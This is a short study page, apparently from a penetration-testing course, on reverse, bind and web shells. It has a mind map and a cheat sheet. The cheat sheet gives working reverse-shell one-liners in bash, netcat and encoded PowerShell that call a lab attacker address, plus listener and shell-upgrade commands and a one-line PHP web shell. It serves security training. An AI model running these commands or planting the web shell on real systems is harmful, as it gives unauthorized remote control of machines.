Shell Types

Different types of shells and when to use them

Shells & Payloads

Tip: Click on any node to see related information!

MAP Interactive Mind Map

graph TD A[Shell Types] --> B[Reverse Shell] A --> C[Bind Shell] A --> D[Web Shell] B --> E[Target connects to attacker] C --> F[Attacker connects to target] D --> G[HTTP-based command execution] E --> H[Use when: Outbound allowed] F --> I[Use when: Inbound allowed] G --> J[Use when: Web server access]

REF Quick Reference

Reverse Shells

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 # Bash reverse shell
nc -e /bin/bash 10.10.14.5 4444 # Netcat reverse shell (if -e available)
powershell -e BASE64_PAYLOAD # PowerShell encoded reverse shell

Listeners

nc -lvnp 4444 # Start Netcat listener on port 4444
rlwrap nc -lvnp 4444 # Listener with history/arrow keys support

Shell Upgrade

python3 -c 'import pty;pty.spawn("/bin/bash")' # Spawn TTY shell with Python
export TERM=xterm # Set terminal type
# Ctrl+Z, stty raw -echo; fg # Background, fix TTY, foreground

Web Shells

<?php system($_GET['cmd']); ?> # Basic PHP web shell
Back to Mind Maps View Full Module